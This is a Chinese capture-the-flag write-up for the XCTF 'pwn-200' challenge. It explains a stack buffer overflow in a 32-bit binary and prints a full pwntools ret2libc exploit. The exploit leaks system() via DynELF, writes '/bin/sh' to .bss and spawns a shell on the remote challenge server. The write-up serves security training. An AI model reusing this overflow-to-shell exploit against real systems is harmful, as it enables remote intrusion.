攻防世界 pwn-200

攻防世界 pwn-200

0x00 函数分析

基本信息

[*] '/home/ububtu/ctf/pwn/pwn-200'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位,开启了NX保护

载入IDA,反汇编看主函数
攻防世界 pwn-200_第1张图片

函数sub_8048484()
攻防世界 pwn-200_第2张图片

0x01 漏洞利用

主要思路如下:

  • 利用DynELF泄露system地址
    DynELF方法参考:https://www.anquanke.com/post/id/85129
  • 调用read函数,把‘/bin/sh‘写入bss段,作为system参数
  • 调用system函数,getshell

0x02 exp

from pwn import *
#context.log_level='debug'
p=remote("111.198.29.45",30318)
elf=ELF('./pwn-200')
start_addr=0x80483D0 
write_addr=elf.plt['write']
read_addr=elf.plt['read']
bss_addr=0x804A048#使用bss结尾处的内存区域,read之后跳转到start,程序会再次修改stdin和stdout的值
def leak(addr):
	payload='a'*112+p32(write_addr)+p32(start_addr)+p32(1)+p32(addr)+p32(4)
	p.recvuntil("Welcome to XDCTF2015~!\n")
	p.send(payload)
	buf=p.recv(4)
	return buf
dyn=DynELF(leak,elf=ELF("./pwn-200"))
system=dyn.lookup("system","libc")
print("get system address:%X" % system)
def write():
	binsh="/bin/sh"
	payload='a'*112+p32(read_addr)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
	p.recvuntil("Welcome to XDCTF2015~!\n")
	p.send(payload)
	p.sendline(binsh)
write()
payload='a'*112+p32(system)+p32(0)+p32(bss_addr)
p.recvuntil("Welcome to XDCTF2015~!\n")
p.send(payload)
p.interactive()

你可能感兴趣的:(ctf,pwn)